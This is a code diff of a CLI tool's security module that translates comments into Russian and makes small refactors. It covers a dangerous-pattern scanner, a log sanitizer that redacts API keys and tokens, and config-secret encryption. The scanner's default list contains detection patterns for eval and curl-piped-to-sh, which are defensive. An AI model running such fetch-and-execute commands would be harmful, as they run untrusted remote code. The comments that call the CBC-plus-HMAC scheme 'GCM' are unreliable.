  sanitized = sanitized.replace(pattern, "[REDACTED]");
222
270
  }
223
271
  return sanitized;
@@ -1,9 +1,8 @@
1
1
  /**
2
- * Default dangerous patterns to scan for in file content.
3
- * NOTE: only genuinely dangerous constructs are listed. Legitimate runtime
4
- * APIs (process.exit, setTimeout/setInterval, template literals `${}`,
5
- * backtick strings) are NOT scanned — they are valid JS/TS and blocking
6
- * them breaks ordinary CLI code (false positives).
2
+ * Дефолтные опасные паттерны.
3
+ * В списке только реально опасные конструкции. Легитимные рантайм-API
4
+ * (process.exit, setTimeout/setInterval, шаблонные литералы `${}`, бэктики)
5
+ * НЕ сканируются — это валидный JS/TS, их блок ломает обычный CLI-код.
7
6
  */
8
7
  const DEFAULT_DANGEROUS_PATTERNS = [
9
8
  /eval\(/gi,
@@ -24,14 +23,15 @@ const DEFAULT_DANGEROUS_PATTERNS = [
24
23
  /curl.*\|.*sh/gi,
25
24
  ];
26
25
  /**
27
- * Scan file content for dangerous patterns
26
+ * Проверить содержимое файла на опасные паттерны.
27
+ * Выключенный скан и пустой список паттернов разрешают всё.
28
28
  */
29
29
  export function scanContent(content, filePath, config) {
30
- // If scanning is disabled, allow everything
30
+ // Выключенный скан разрешает всё
31
31
  if (!config?.enabled) {
32
32
  return { allowed: true };
33
33
  }
34
- // Use default patterns if none provided
34
+ // Без своих паттернов — дефолтные
35
35
  const patterns = config.dangerousPatterns?.length
36
36
  ? config.dangerousPatterns
37
37
  : DEFAULT_DANGEROUS_PATTERNS;
@@ -1,8 +1,7 @@
1
- /**
2
- * Patterns for sensitive data that should be redacted from logs
3
- */
1
+ // Вырезание секретов (ключи, токены, пароли) из логов, команд и URL.
2
+ /** Паттерны чувствительных данных для редактуры в логах. */
4
3
  const SENSITIVE_PATTERNS = [
5
- // API keys and tokens in key=value format
4
+ // Ключи и токены в формате key=value
6
5
  {
7
6
  pattern: /(api[_-]?key|apikey|api_key)\s*[=:\s]\s*["']?([a-zA-Z0-9_-]{10,})["']?/gi,
8
7
  replacement: "$1=[REDACTED]",
@@ -19,7 +18,7 @@ const SENSITIVE_PATTERNS = [
19
18
  pattern: /(secret|private[_-]?key|secret[_-]?key)\s*[=:\s]\s*["']?([^\s"'&]+)["']?/gi,
20
19
  replacement: "$1=[REDACTED]",
21
20
  },
22
- // Standalone API keys (not in key=value format)
21
+ // Отдельные ключи (не key=value)
23
22
  {
24
23
  pattern: /\bsk-[a-zA-Z0-9_-]{20,}\b/gi,
25
24
  replacement: "sk-[REDACTED]",
@@ -40,20 +39,18 @@ const SENSITIVE_PATTERNS = [
40
39
  pattern: /\bAKIA[0-9A-Z]{15,}\b/gi,
41
40
  replacement: "AKIA[REDACTED]",
42
41
  },
43
- // Bearer tokens in headers
42
+ // Bearer-токены в заголовках
44
43
  {
45
44
  pattern: /Bearer\s+[a-zA-Z0-9_-]{20,}/gi,
46
45
  replacement: "Bearer [REDACTED]",
47
46
  },
48
- // Generic high-entropy strings that look like secrets (30+ chars, mixed case and numbers)
47
+ // Прочие высокоэнтропийные строки, похожие на секреты (30+ символов)
49
48
  {
50
49
  pattern: /\b([a-zA-Z0-9_-]{30,})\b/g,
51
50
  replacement: "[REDACTED]",
52
51
  },
53
52
  ];
54
- /**
55
- * Sanitize a log message by removing sensitive information
56
- */
53
+ /** Вычистить секреты из лог-сообщения. */
57
54
  export function sanitizeLogMessage(message) {
58
55
  let sanitized = message;
59
56
  for (const { pattern, replacement } of SENSITIVE_PATTERNS) {
@@ -61,15 +58,11 @@ export function sanitizeLogMessage(message) {
61
58
  }
62
59
  return sanitized;
63
60
  }
64
- /**
65
- * Sanitize a command string by removing sensitive information
66
- */
61
+ /** Вычистить секреты из командной строки. */
67
62
  export function sanitizeCommand(command) {
68
63
  return sanitizeLogMessage(command);
69
64
  }
70
- /**
71
- * Sanitize a URL by removing sensitive query parameters
72
- */
65
+ /** Вычистить секретные query-параметры из URL; не-URL — как лог-сообщение. */
73
66
  export function sanitizeUrl(url) {
74
67
  try {
75
68
  const urlObj = new URL(url);
@@ -1,31 +1,26 @@
1
+ // Шифрование секретов конфига: AES-256-CBC + HMAC, ключ в ~/.mma/.encryption-key.
1
2
  import { createCipheriv, createDecipheriv, randomBytes, scryptSync, timingSafeEqual } from "node:crypto";
2
- import { homedir } from "os";
3
3
  import { join } from "path";
4
4
  import { readFileSync, writeFileSync, existsSync, copyFileSync } from "fs";
5
+ import { globalMmaDir } from "../../config/paths";
5
6
  const DEFAULT_CONFIG = {
6
- keyPath: join(homedir(), ".mma", ".encryption-key"),
7
+ keyPath: join(globalMmaDir(), ".encryption-key"),
7
8
  algorithm: "aes-256-gcm",
8
9
  };
9
10
  const IV_LENGTH = 16;
10
11
  const SALT_LENGTH = 16;
11
12
  const KEY_LENGTH = 32;
12
- const AUTH_TAG_LENGTH = 16;
13
- /**
14
- * Generate a new encryption key
15
- */
13
+ /** Сгенерировать новый ключ шифрования. */
16
14
  export function generateEncryptionKey() {
17
15
  return randomBytes(KEY_LENGTH);
18
16
  }
19
- /**
20
- * Get or create encryption key from file
21
- */
17
+ /** Взять ключ из файла или создать новый. */
22
18
  export function getOrCreateEncryptionKey(config) {
23
19
  const { keyPath } = { ...DEFAULT_CONFIG, ...config };
24
- // Ensure directory exists
20
+ // Каталог обязан существовать
25
21
  const dir = join(keyPath, "..");
26
22
  if (!existsSync(dir)) {
27
- // Note: We can't use mkdirSync here because we're in a pure function
28
- // This will be handled by the caller
23
+ // mkdirSync тут нельзя — чистая функция, создаёт вызывающий
29
24
  }
30
25
  if (!existsSync(keyPath)) {
31
26
  const key = generateEncryptionKey();
@@ -34,8 +29,8 @@ export function getOrCreateEncryptionKey(config) {
34
29
  return key;
35
30
  }
36
31
  catch (e) {
37
- // If we can't persist the key, encrypted data would be unrecoverable
38
- // on the next run — fail loudly instead of silently degrading.
32
+ // Без персиста ключа зашифрованное станет невосстановимым при
33
+ // следующем запуске — падаем громко, а не деградируем молча.
39
34
  throw new Error(`Cannot write encryption key to ${keyPath}: ${errMsg(e)}`);
40
35
  }
41
36
  }
@@ -44,13 +39,13 @@ export function getOrCreateEncryptionKey(config) {
44
39
  return Buffer.from(keyBase64, "base64");
45
40
  }
46
41
  catch {
47
- // Backup the corrupted key file before throwing
42
+ // Битый ключ бэкапим перед выбросом
48
43
  try {
49
44
  const backupPath = `${keyPath}.corrupted.${Date.now()}`;
50
45
  copyFileSync(keyPath, backupPath);
51
46
  }
52
47
  catch {
53
- /* backup failed, continue */
48
+ /* бэкап не удался, идём дальше */
54
49
  }
55
50
  throw new Error(`Encryption key file is corrupted or unreadable: ${keyPath}. ` +
56
51
  `All previously encrypted data will be unrecoverable. ` +
@@ -58,32 +53,30 @@ export function getOrCreateEncryptionKey(config) {
58
53
  }
59
54
  }
60
55
  /**
61
- * Encrypt a string using AES-256-GCM
62
- * Note: Bun's crypto module doesn't support getAuthTag/setAuthTag directly,
63
- * so we use a simpler approach with AES-256-CBC + HMAC for authentication
56
+ * Зашифровать строку (AES-256-GCM).
57
+ * В crypto Bun нет getAuthTag/setAuthTag напрямую, поэтому проще:
58
+ * AES-256-CBC + HMAC для аутентификации.
64
59
  */
65
60
  export function encryptString(plaintext, key) {
66
61
  const iv = randomBytes(IV_LENGTH);
67
62
  const salt = randomBytes(SALT_LENGTH);
68
- // Derive encryption key and HMAC key from the main key
63
+ // Ключ шифрования и HMAC-ключ выводятся из главного ключа
69
64
  const encKey = scryptSync(key, salt, KEY_LENGTH);
70
65
  const hmacSalt = Buffer.concat([salt, Buffer.from([1, 2, 3, 4])]);
71
66
  const hmacKey = scryptSync(key, hmacSalt, KEY_LENGTH);
72
- // Encrypt with AES-256-CBC
67
+ // Шифрование AES-256-CBC
73
68
  const cipher = createCipheriv("aes-256-cbc", encKey, iv);
74
69
  let encrypted = cipher.update(plaintext, "utf8", "base64");
75
70
  encrypted += cipher.final("base64");
76
- // Create HMAC for authentication
71
+ // HMAC для аутентификации
77
72
  const hmac = createHmac("sha256", hmacKey);
78
73
  hmac.update(iv);
79
74
  hmac.update(Buffer.from(encrypted, "base64"));
80
75
  const authTag = hmac.digest();
81
- // Format: salt:iv:authTag:encrypted
76
+ // Формат: salt:iv:authTag:encrypted
82
77
  return `${salt.toString("base64")}:${iv.toString("base64")}:${authTag.toString("base64")}:${encrypted}`;
83
78
  }
84
- /**
85
- * Decrypt a string using AES-256-CBC + HMAC
86
- */
79
+ /** Расшифровать строку (AES-256-CBC + HMAC). */
87
80
  export function decryptString(encryptedText, key) {
88
81
  const parts = encryptedText.split(":");
89
82
  if (parts.length !== 4) {
@@ -93,11 +86,11 @@ export function decryptString(encryptedText, key) {
93
86
  const iv = Buffer.from(parts[1], "base64");
94
87
  const authTag = Buffer.from(parts[2], "base64");
95
88
  const encrypted = parts[3];
96
- // Derive encryption key and HMAC key from the main key
89
+ // Ключ шифрования и HMAC-ключ выводятся из главного ключа
97
90
  const encKey = scryptSync(key, salt, KEY_LENGTH);
98
91
  const hmacSalt = Buffer.concat([salt, Buffer.from([1, 2, 3, 4])]);
99
92
  const hmacKey = scryptSync(key, hmacSalt, KEY_LENGTH);
100
- // Verify HMAC
93
+ // Проверка HMAC
101
94
  const hmac = createHmac("sha256", hmacKey);
102
95
  hmac.update(iv);
103
96
  hmac.update(Buffer.from(encrypted, "base64"));
@@ -105,7 +98,7 @@ export function decryptString(encryptedText, key) {
105
98
  if (computedTag.length !== authTag.length || !timingSafeEqual(computedTag, authTag)) {
106
99
  throw new Error("Authentication failed: invalid tag");
107
100
  }
108
- // Decrypt with AES-256-CBC
101
+ // Расшифровка AES-256-CBC
109
102
  const decipher = createDecipheriv("aes-256-cbc", encKey, iv);
110
103
  let decrypted = decipher.update(encrypted, "base64", "utf8");
111
104
  decrypted += decipher.final("utf8");
@@ -113,23 +106,18 @@ export function decryptString(encryptedText, key) {
113
106
  }
114
107
  import { createHmac } from "node:crypto";
115
108
  import { errMsg } from "../../utils";
116
- /**
117
- * Check if a string looks like it's encrypted
118
- */
109
+ /** Похоже ли значение на зашифрованное (формат salt:iv:authTag:encrypted). */
119
110
  export function isEncryptedString(value) {
120
- // Encrypted strings have the format: salt:iv:authTag:encrypted
121
- // Each part is base64 encoded and separated by colons
111
+ // Формат: salt:iv:authTag:encrypted, каждая часть — base64 через двоеточие
122
112
  const parts = value.split(":");
123
113
  if (parts.length !== 4)
124
114
  return false;
125
- // Strict base64 shape check: Buffer.from(value, "base64") NEVER throws
126
- // (lenient decode), so it cannot distinguish plaintext from base64.
115
+ // Строгая проверка формы base64: Buffer.from(value, "base64") НИКОГДА не бросает
116
+ // (ленивое декодирование), так что plaintext от base64 он не отличит.
127
117
  const isB64 = (s) => s.length > 0 && s.length % 4 === 0 && /^[A-Za-z0-9+/]+={0,2}$/.test(s);
128
118
  return parts.every(isB64);
129
119
  }
130
- /**
131
- * Sensitive field names that should be encrypted
132
- */
120
+ /** Имена чувствительных полей для шифрования. */
133
121
  export const SENSITIVE_FIELD_NAMES = [
134
122
  "api_key",
135
123
  "apikey",
@@ -147,16 +135,12 @@ export const SENSITIVE_FIELD_NAMES = [
147
135
  "authorization",
148
136
  "key",
149
137
  ];
150
- /**
151
- * Check if a field name indicates sensitive data
152
- */
138
+ /** Имя поля указывает на чувствительные данные или нет. */
153
139
  export function isSensitiveFieldName(fieldName) {
154
140
  const lowerFieldName = fieldName.toLowerCase();
155
141
  return SENSITIVE_FIELD_NAMES.some((name) => lowerFieldName.includes(name));
156
142
  }
157
- /**
158
- * Encrypt sensitive fields in an object
159
- */
143
+ /** Зашифровать чувствительные поля объекта (рекурсивно, RegExp не трогает). */
160
144
  export function encryptSensitiveFields(obj, key) {
161
145
  const result = {};
162
146
  for (const [fieldName, value] of Object.entries(obj)) {
@@ -182,9 +166,7 @@ export function encryptSensitiveFields(obj, key) {
182
166
  }
183
167
  return result;
184
168
  }
185
- /**
186
- * Decrypt sensitive fields in an object
187
- */
169
+ /** Расшифровать чувствительные поля объекта; неудача — оставить как есть. */
188
170
  export function decryptSensitiveFields(obj, key) {
189
171
  const result = {};
190
172
  for (const [fieldName, value] of Object.entries(obj)) {
@@ -193,7 +175,7 @@ export function decryptSensitiveFields(obj, key) {
193
175
  result[fieldName] = decryptString(value, key);
194
176
  }
195
177
  catch {
196
- // If decryption fails, keep the encrypted value
178
+ // Расшифровка не удалась — оставить зашифрованное значение
197
179
  result[fieldName] = value;
198
180
  }
199
181
  }
@@ -216,9 +198,7 @@ export function decryptSensitiveFields(obj, key) {
216
198
  }
217
199
  return result;
218
200
  }
219
- /**
220
- * Create a wrapper for encrypting/decrypting config values
221
- */
201
+ /** Обёртка шифрования/расшифровки значений конфига. */
222
202
  export class ConfigEncryptor {
223
203
  key;
224
204
  constructor(config) {
@@ -1,3 +1,4 @@
1
+ // Публичный фасад модуля безопасности: валидаторы, аудит, шифрование, политики.
1
2
  export * from "./command-validator";
2
3
  export * from "./path-validator";
3
4
  export * from "./network-validator";
@@ -10,5 +11,5 @@ export * from "./session-isolation";
10
11
  export * from "./session-encryption";
11
12
  export * from "./audit-notifier";
12
13
  export * from "./security-policies";
13
- // Re-export sanitizeUrl from network-validator to avoid conflicts
14
+ // Реэкспорт sanitizeUrl из network-validator — единый источник (без конфликтов)
14
15
  export { sanitizeUrl } from "./network-validator";